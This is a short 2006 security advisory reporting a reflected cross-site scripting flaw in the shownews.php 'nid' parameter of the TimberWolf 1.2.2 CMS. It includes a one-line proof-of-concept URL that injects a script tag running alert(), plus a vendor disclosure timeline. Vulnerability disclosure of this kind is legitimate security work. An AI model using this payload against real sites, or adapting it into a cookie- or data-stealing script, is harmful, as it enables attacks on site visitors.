TimberWolf 1.2.2 vulnerable to XSS

-=[--------------------ADVISORY-------------------]=-

                    TimberWolf 1.2.2     
                                           
    Author: CorryL    [[email protected]]   

-=[-----------------------------------------------]=-

-=[+] Application: TimberWolf
-=[+] Version: 1.2.2
-=[+] Vendor's URL: http://cms.gamezrule.org/index.php
-=[+] Platform: Windows\Linux\Unix
-=[+] Bug type: Cross-Site Script
-=[+] Exploitation: Remote
-=[-]
-=[+] Author: CorryL ~ corryl80[at]gmail[dot]com ~
-=[+] Reference: www.x0n3-h4ck.org
-=[+] Virtual Office: http://www.kasamba.com/CorryL
-=[+] Irc Chan: irc.darksin.net #x0n3-h4ck
-=[+] Special Thanks: Merry Christmas for All, Thanks for all #x0n3-h4ck member,
un saluto a tutti gli avolesi nel mondo.

…::[ Descriprion ]::…

TimberWolf is Powered by PHP and runs off an MySQL database.
It has quite a few distinctive features amongst others.

It is 100% Freeware.
It is 100% easy to skin, and use.
It is 100% of everything you need.

The Admin Control Panel is Very simple, whereas the site itself looks the opposite.

…::[ Bug ]::…

this software is vulnerable to a type of called bug
cross-site script, a remote attaker is able to exploit
this vulnerability to draw information

…::[ Proof Of Concept ]::…

http://remote site/shownews.php?nid=>'><ScRiPt%20%0a%0d>alert(1261667191)%3B</ScRiPt>

…::[ Workaround ]::…

…::[ Disclousure Timeline ]::…

[19/12/2006] - Vendor notification
[24/12/2006] - Public disclousure